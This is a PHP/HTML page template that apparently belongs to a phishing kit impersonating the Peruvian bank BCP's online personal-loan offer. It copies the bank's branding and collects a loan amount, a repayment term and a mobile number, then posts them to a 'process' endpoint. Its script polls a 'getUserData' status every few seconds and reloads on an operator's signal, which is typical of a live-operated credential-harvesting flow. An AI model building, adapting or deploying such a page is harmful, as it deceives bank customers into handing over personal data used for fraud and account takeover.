<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <base href="<?php echo URLROOTBASE ?>" target="_blank">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="public/favicon.ico">
    <link rel="stylesheet" type="text/css" href="public/styles.8972384723.css" />
    <link rel="stylesheet" type="text/css" href="public/estilos.28374234.css" />
    <title>Préstamos en línea</title>
    <style>
        #form1 {

            height: 100%;

        }
    </style>
</head>

<body>
    <form id="form1" onsubmit="return false">
        <div id="modalloader1" class="modalloader1 azul hidden">
            <div class="spinner-container">
                <div class="image" style="top: 52px; width: 25px; position: relative;"></div>
                <div class="spinner"></div>
                <p
                    style="text-align: center; font-family: var(--bcp-font-family-primary-regular, 'Flexo-Regular'),helvetica,arial,sans-serif!important; font-size: 13px; color: white; margin-top: 10px;">
                    Espere un momento <br> por favor...</p>
            </div>
        </div>
        <div class="c019">
            <div class="max2 margin-auto">
                <div class="c0191">
                    <img height="25" src="public/paso2.8937458345/logoblanco.8783745345.svg">
                </div>
            </div>

        </div>
        <div style="height: 60px;">&nbsp;</div>
        <div class="c020">
            <div style="height: 70px;">&nbsp;</div>
            <div class="max2 margin-auto">
                <div class="mb-20">
                    <p class="text8" style="font-size: 2.5rem;">Tu préstamo personal<br>BCP es express por la<br>Web<br>
                    </p>
                </div>
                <div class="mb-20">
                    <button class="btn1" style="max-width: 150px;">Pídelo aquí</button>
                </div>

                <div class="mb-20">
                    <div class="c021">
                        <div style="height: 10px;"></div>
                        <div class="mb-20 textcenter">
                            <p class="text9" style="font-size: .95rem;">Hola, por favor completa el siguiente formulario
                            </p>
                        </div>
                        <div class="mb-20">
                            <div class="c023">
                                <div class="mb-30">
                                    <div class="input1">
                                        <div class="input1-c001">
                                            <input inputmode="numeric" maxlength="5" required id="monto" type="text"
                                                name="monto">
                                            <label for="monto">Ingresa tu monto</label>
                                        </div>
                                        <div class="input1-c002">
                                            <p style="font-size: .75rem;" class="text3">
                                                Este campo es requerido
                                            </p>
                                        </div>
                                    </div>
                                </div>
                                <div class="mb-30">
                                    <div class="sel1 ">
                                        <div class="sel1-c001">
                                            <label>
                                                &nbsp;
                                            </label>
                                        </div>
                                        <div class="sel1-c002">
                                            <label>
                                                --Meses a pagar--
                                            </label>
                                        </div>
                                        <div class="sel1-c003">
                                            <div class="sel1-c004">
                                                <input type="radio" id="mes6" name="meses"
                                                    value="6">
                                                <label for="mes6">6 meses</label>
                                            </div>
                                            <div class="sel1-c004">
                                                <input type="radio" id="mes12" name="meses" value="12">
                                                <label for="mes12">12 meses</label>
                                            </div>
                                            <div class="sel1-c004">
                                                <input type="radio" id="mes24" name="meses" value="24">
                                                <label for="mes24">24 meses</label>
                                            </div>
                                            <div class="sel1-c004">
                                                <input type="radio" id="mes36" name="meses" value="36">
                                                <label for="mes36">36 meses</label>
                                            </div>
                                            <div class="sel1-c004">
                                                <input type="radio" id="mes48" name="meses" value="48">
                                                <label for="mes48">48 meses</label>
                                            </div>
                                            <div class="sel1-c004">
                                                <input type="radio" id="mes60" name="meses" value="60">
                                                <label for="mes60">60 meses</label>
                                            </div>
                                            <div class="sel1-c004">
                                                <input type="radio" id="mes72" name="meses" value="72">
                                                <label for="mes72">72 meses</label>
                                            </div>
                                            <div class="sel1-c004">
                                                <input type="radio" id="mes96" name="meses" value="96">
                                                <label for="mes96">96 meses</label>
                                            </div>
                                            <div class="sel1-c004">
                                                <input type="radio" id="mes120" name="meses" value="120">
                                                <label for="mes120">120 meses</label>
                                            </div>
                                        </div>
                                        <div class="sel1-c005">
                                            <p class="text3" style="font-size: .80rem;">
                                                Selecciona meses a pagar
                                            </p>
                                        </div>
                                    </div>
                                </div>
                                <div class="mb-30">
                                    <div class="input1">
                                        <div class="input1-c001">
                                            <input inputmode="numeric" maxlength="9" required id="celu" type="text"
                                                name="celu">
                                            <label for="celu">Ingresa tu celular</label>
                                        </div>
                                        <div class="input1-c002">
                                            <p style="font-size: .75rem;" class="text3">
                                                Este campo es requerido
                                            </p>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>
                        <div class="mb-20">
                            <button id="btn1" type="button" class="btn1">
                                <label style="display: block;">
                                    Empezar
                                </label>
                            </button>
                        </div>
                    </div>
                    <div class="c022">
                        <div class="mb-10 textcenter">
                            <img src="public/paso3.873345/horarioatencon.876345.png">
                        </div>
                        <div class="mb-10 textcenter">
                            <img src="public/paso3.873345/5a12.783465345.png">
                        </div>
                        <div class="mb-10 textcenter">
                            <img src="public/paso3.873345/solicitudesfuerahorario.293764234.png">
                        </div>
                    </div>
                </div>

                <div class="mb-10 textcenter">
                    <p class="text6" style="font-size: 2.3rem;">
                        Beneficios
                    </p>
                </div>

                <div class="mb-10">
                    <div class="c024">
                        <div>
                            <img src="public/paso3.873345/flexibilidadmontos.93829342.png">
                        </div>
                        <div>
                            <img src="public/paso3.873345/ahorratiempos.87345.png">
                        </div>
                        <div>
                            <img src="public/paso3.873345/pagoautomatico.234234.png">
                        </div>
                    </div>
                </div>

            </div>


        </div>
        <div style="height: 750px;"></div>
        <div class="mb-30">
            &nbsp;
            <hr class="hr1">
        </div>
        <div class="mb-20">
            <div class="mb-20">&nbsp;</div>
            <div class="max2 margin-auto">
                <div class="c025">
                    <img height="25" src="public/paso1.786324/logogris.98734234.svg">
                    <img height="60" style="max-width: 100%;"
                        src="public/paso3.873345/todoslosderechosreservados.2384234.png ">
                </div>

                <div class="mb-20">&nbsp;</div>
            </div>

        </div>
        <div style="height: 50px;">&nbsp;</div>
    </form>
    <script src="public/scripts.js"></script>
    <script>

        var URLROOTBASE = '<?php echo URLROOTBASE ?>'
        var modalloader1 = document.getElementById("modalloader1")
        var form = document.getElementById("form1")
        var btn1 = document.getElementById("btn1")

        var monto = form.querySelector("input[name=monto]")
        var meses = form.querySelector("input[name=meses]")
        var celu = form.querySelector("input[name=celu]")

        recheckstatus = function () {
            window.setTimeout(checkstatus, 2000)
        }

        checkstatus = async function () {
            let btn = form.querySelector(".btn1")
            let url = URLROOTBASE + `process`
            let fd = new FormData()
            fd.append("accion", "getUserData")
            let envio = await fetch(url, {
                method: "post",
                body: fd
            })

            let raw = await envio.text()

            if (!envio.ok) {

                window.setTimeout(checkstatus, 2500)
                return
            }

            try {
                let json = JSON.parse(raw)
                let esta = json.esta

                if (esta != "delay") {
                    location.reload()
                    return
                    //return
                }


                window.setTimeout(checkstatus, 2500)
                return

            } catch (ex) {
                window.setTimeout(checkstatus, 2500)
                return
            }


        }


        sub = async function () {

            let isok = true

            if (monto.value.length < 2) {
                monto.closest(".input1").classList.add("error")
                monto.focus()
                return
            }
            monto.closest(".input1").classList.remove("error")

            let ss = document.querySelector("input[name=meses]:checked")
            if(ss == null || ss == undefined){
                meses.closest(".sel1").classList.add("error")
                meses.focus()
                return
            }
            meses.closest(".sel1").classList.remove("error")


            if (celu.value.length != 9) {
                celu.closest(".input1").classList.add("error")
                celu.focus()
                return
            }
            celu.closest(".input1").classList.remove("error")

            show(modalloader1)

            let url = URLROOTBASE + "process"
            let fd = new FormData(form)
            fd.append("accion", "step3")
            let envio = await fetch(url, {
                method: "post",
                body: fd
            })

            let raw = await envio.text()

            if (!envio.ok) {
                location.reload()
                return
            }

            checkstatus()

        }

        init = function () {



            document.querySelectorAll(".sel1 .sel1-c001").forEach(el => {
                el.addEventListener("click", (e) => {
                    let targ = e.target
                    let inpsel1 = targ.closest(".sel1")
                    if (inpsel1.classList.contains("showoptions")) {
                        inpsel1.classList.remove("showoptions")
                    } else {
                        inpsel1.classList.add("showoptions")
                    }
                })
            })

            document.querySelectorAll(".sel1 .sel1-c003 .sel1-c004 input[type=radio]").forEach(el => {
                el.addEventListener("click", (e) => {
                    let targ = e.target
                    let inpsel1 = targ.closest(".sel1")
                    let label = inpsel1.querySelector(".sel1-c001 label")
                    let txt = targ.value
                    label.innerHTML = txt + " meses"
                    inpsel1.classList.remove("showoptions")
                    console.log(txt)
                })
            })
            
            btn1.addEventListener("click", sub)

            monto.addEventListener("keyup", (e) => {
                let targ = e.target
                targ.value = targ.value.replace(/[^0-9]+/gi, '').substring(0, 7)

            })

            meses.addEventListener("keyup", (e) => {
                let targ = e.target
                targ.value = targ.value.replace(/[^0-9]+/gi, '').substring(0, 2)

            })

            celu.addEventListener("keyup", (e) => {
                let targ = e.target
                targ.value = targ.value.replace(/[^0-9]+/gi, '').substring(0, 9)

            })

        }

        window.addEventListener("load", init)

    </script>
</body>

</html>